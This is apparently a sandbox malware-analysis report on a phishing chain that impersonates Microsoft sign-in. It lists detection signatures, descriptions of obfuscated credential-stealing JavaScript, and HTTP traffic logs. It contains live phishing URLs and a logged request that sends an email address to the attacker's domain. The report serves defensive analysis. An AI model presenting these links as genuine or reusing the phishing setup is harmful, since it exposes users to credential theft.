Edit tour

Windows Analysis Report
https://realazure.action.azurecomm.net/api/v2/a/c?url=https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/&d=AIAACYB2LC5AFHPW2VWJHSV6UVQVRFTHKQBDW7UWQ3KNJXOX5BDUSXJ3ZQRQJPJ5OCLBPZWKD4BJYLQE5BL3GPZPYFC3R7C3HOFZMPETSYONQACZBWKXDVJSZWINJEC6Z4RKVWOIGO4NDLG6FQA6LFOFNHOYVHNU6O5BF2CIF5XY7JZB

Overview

General Information

Sample URL:	https://realazure.action.azurecomm.net/api/v2/a/c?url=https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/&d=AIAACYB2LC5AFHPW2VWJHSV6UVQVRFTHKQBDW7UWQ3KNJXOX5BDUSXJ3ZQRQJPJ5OCLBPZWKD4BJ
Analysis ID:	1591688
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Suricata IDS alerts for network traffic

Yara detected HtmlPhish54

AI detected suspicious Javascript

AI detected suspicious URL

Detected suspicious crossdomain redirect

Form action URLs do not match main URL

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1928 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1072 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2228,i,10795531608968129208,3119711031500840883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6480 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://realazure.action.azurecomm.net/api/v2/a/c?url=https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/&d=AIAACYB2LC5AFHPW2VWJHSV6UVQVRFTHKQBDW7UWQ3KNJXOX5BDUSXJ3ZQRQJPJ5OCLBPZWKD4BJYLQE5BL3GPZPYFC3R7C3HOFZMPETSYONQACZBWKXDVJSZWINJEC6Z4RKVWOIGO4NDLG6FQA6LFOFNHOYVHNU6O5BF2CIF5XY7JZBYIXDHOQTPGKEQXDCQ5S3LP7YSIX6WCUPVILRNCLWJT2MHVSBN2DFV42FB6TTKWPS3I3ZHCMOW63EIPBFPUC2TNHK25YXIBLVSK2QFSGRKUWIP7I&s=CJMEZBXJGCDDZHAVATKKCN5IOIKFCP44FAQWT2LF3YTNOXOSBYKA" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.15.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
0.22.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.11.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.12.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.13.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.15.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO PHISHING JS/PsyduckPockeball Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T10:06:46.652432+0100	2857090	1	Successful Credential Theft Detected	172.235.150.19	443	192.168.2.4	49759	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	Joe Sandbox AI: Score: 8 Reasons: The URL contains 'officedocument', which suggests an association with Microsoft Office., The domain 'msportalrelay' suggests a potential link to Microsoft services., The actual domain is 'linodeobjects.com', which is a cloud service provider and not directly associated with Microsoft., The use of a cloud service provider's domain with brand-related subdomains is a common phishing tactic., The brand 'Microsoft' is well-known and typically associated with 'microsoft.com'., The presence of multiple hyphens and a non-Microsoft domain increases suspicion. DOM: 2.15.pages.csv
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL provided does not match the legitimate domain name for Microsoft., The URL contains multiple hyphens and a long subdomain, which is a common tactic used in phishing URLs., The domain 'linodeobjects.com' is a cloud service provider, which can be used by anyone to host content, increasing the risk of phishing., The presence of 'officedocumentauthenticationservices' in the URL is suspicious and could be an attempt to mimic Microsoft services. DOM: 2.16.pages.csv

Yara detected HtmlPhish54

Source: Yara match	File source: 0.15.id.script.csv, type: HTML
Source: Yara match	File source: 0.22.id.script.csv, type: HTML
Source: Yara match	File source: 2.11.pages.csv, type: HTML
Source: Yara match	File source: 2.12.pages.csv, type: HTML
Source: Yara match	File source: 2.13.pages.csv, type: HTML
Source: Yara match	File source: 2.15.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://officeauthenticationservices-msportalrelay... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated URLs. It collects user email addresses and redirects the user to a suspicious URL, which is likely a phishing attempt. The script's behavior is highly inconsistent with its apparent purpose of email validation, indicating malicious intent.
Source: 0.22.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://onlineauthenticationrelayservices.rnanteng... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated URLs. The script appears to be redirecting users to a suspicious login page and collecting sensitive user data, which is a clear indication of malicious intent. Additionally, the script interacts with multiple untrusted domains, further increasing the risk. Overall, this script demonstrates a high level of risk and should be thoroughly investigated.
Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://officedocumentauthenticationservices-mspor... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and heavy obfuscation. The use of `eval`, `Function` constructor, and encoded strings suggests malicious intent. Additionally, the script appears to be interacting with unknown or suspicious domains, further increasing the risk. Overall, this script demonstrates a high level of malicious activity and should be treated with caution.
Source: 0.15.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://onlineauthenticationrelayservices.rnanteng... This script exhibits several high-risk behaviors, including data exfiltration, obfuscated code/URLs, and external data transmission. While some of the behavior may be related to legitimate functionality like analytics and telemetry, the overall risk is elevated due to the presence of suspicious indicators and the lack of transparency around the data being sent to external domains.

AI detected suspicious URL

Source: URL	Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://realazure.action.azurecomm.net
Source: URL	Joe Sandbox AI: AI detected Typosquatting in URL: https://realazure.action.azurecomm.net

Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: Form action: https://onlineauthenticationrelayservices.rnantengu.com/common/login linodeobjects rnantengu
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: Form action: https://onlineauthenticationrelayservices.rnantengu.com/common/login linodeobjects rnantengu

Source: https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify.html	HTTP Parser: Number of links: 0
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: Number of links: 0

Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=

HTTP Parser: Base64 decoded: %60/vz%7B%7BtK%3D0qwvpsjmy%7Bsf%7Fxzej~p%7Cs%7Cish%C2%8Atksvrolx3%7Cpluufrxw7ozr%3COxxD6D.%3D%20%2Bqm%7Fnqi-7%21l.b%7Cu%7B%C2%822xmqh4pswx%7Bw%287-/mrsz%C2%88%3Expp6th%7Bvwm%7Bpp%7F.%3D%20%2Biwq%7C%C2%871pzebpt%225%2A%29nqr%7F%C2%864td~zp%7D%7F%291-%2Cmsw...

Source: https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify.html	HTTP Parser: Title: Identity Verification does not match URL
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: Title: Sign in to your account does not match URL

Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: Iframe src: https://b997208a-cf4691c7.rnantengu.com/Prefetch/Prefetch.aspx
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: Iframe src: https://b997208a-cf4691c7.rnantengu.com/Prefetch/Prefetch.aspx

Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=

HTTP Parser: <input type="password" .../> found

Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No favicon
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No favicon
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No favicon
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No favicon
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No favicon
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No favicon
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No favicon
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No favicon
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No favicon
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No favicon
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No favicon

Source: https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify.html	HTTP Parser: No <meta name="author".. found
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No <meta name="author".. found
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No <meta name="author".. found
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No <meta name="author".. found

Source: https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify.html	HTTP Parser: No <meta name="copyright".. found
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No <meta name="copyright".. found
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No <meta name="copyright".. found
Source: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	HTTP Parser: No <meta name="copyright".. found

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2857090 - Severity 1 - ETPRO PHISHING JS/PsyduckPockeball Payload Inbound : 172.235.150.19:443 -> 192.168.2.4:49759

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: evoicemanageroauth-receptionextension.ayesgroup.com.tr to https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify.html

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /api/ HTTP/1.1Host: evoicemanageroauth-receptionextension.ayesgroup.com.trConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gt4PosY.png HTTP/1.1Host: i.imgur.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gt4PosY.png HTTP/1.1Host: i.imgur.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?vu=5C&username=bdf29f%40eutg.co HTTP/1.1Host: onlineauthenticationrelayservices.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB&co=aHR0cHM6Ly9vbmxpbmVhdXRoZW50aWNhdGlvbnJlbGF5c2VydmljZXMucm5hbnRlbmd1LmNvbTo0NDM.&hl=en&v=1Bq_oiMBd4XPUhKDwr0YL1Js&size=normal&cb=jb7dkno2oub8 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=1Bq_oiMBd4XPUhKDwr0YL1Js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB&co=aHR0cHM6Ly9vbmxpbmVhdXRoZW50aWNhdGlvbnJlbGF5c2VydmljZXMucm5hbnRlbmd1LmNvbTo0NDM.&hl=en&v=1Bq_oiMBd4XPUhKDwr0YL1Js&size=normal&cb=jb7dkno2oub8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/bg/CY4IdQ8PNOqs9ugPxTaJh2hYWy8m1lFu__OIecPWn-w.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB&co=aHR0cHM6Ly9vbmxpbmVhdXRoZW50aWNhdGlvbnJlbGF5c2VydmljZXMucm5hbnRlbmd1LmNvbTo0NDM.&hl=en&v=1Bq_oiMBd4XPUhKDwr0YL1Js&size=normal&cb=jb7dkno2oub8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=1Bq_oiMBd4XPUhKDwr0YL1Js HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/bg/CY4IdQ8PNOqs9ugPxTaJh2hYWy8m1lFu__OIecPWn-w.js HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=1Bq_oiMBd4XPUhKDwr0YL1Js&k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/reload?k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AGVEItcahM1xAKUycdMcjF_L6jKBFMZyCksz1pmgqJCSi2Yi-8GmFNwKnK6zKrwSSMPykduU86rVvwGqmROxtxY
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/userverify?k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AGVEItcahM1xAKUycdMcjF_L6jKBFMZyCksz1pmgqJCSi2Yi-8GmFNwKnK6zKrwSSMPykduU86rVvwGqmROxtxY
Source: global traffic	HTTP traffic detected: GET /?vu=5C&username=bdf29f%40eutg.co HTTP/1.1Host: onlineauthenticationrelayservices.rnantengu.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://onlineauthenticationrelayservices.rnantengu.com/?vu=5C&username=bdf29f%40eutg.coAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js HTTP/1.1Host: a6dd5e95-cf4691c7.rnantengu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://onlineauthenticationrelayservices.rnantengu.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://onlineauthenticationrelayservices.rnantengu.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
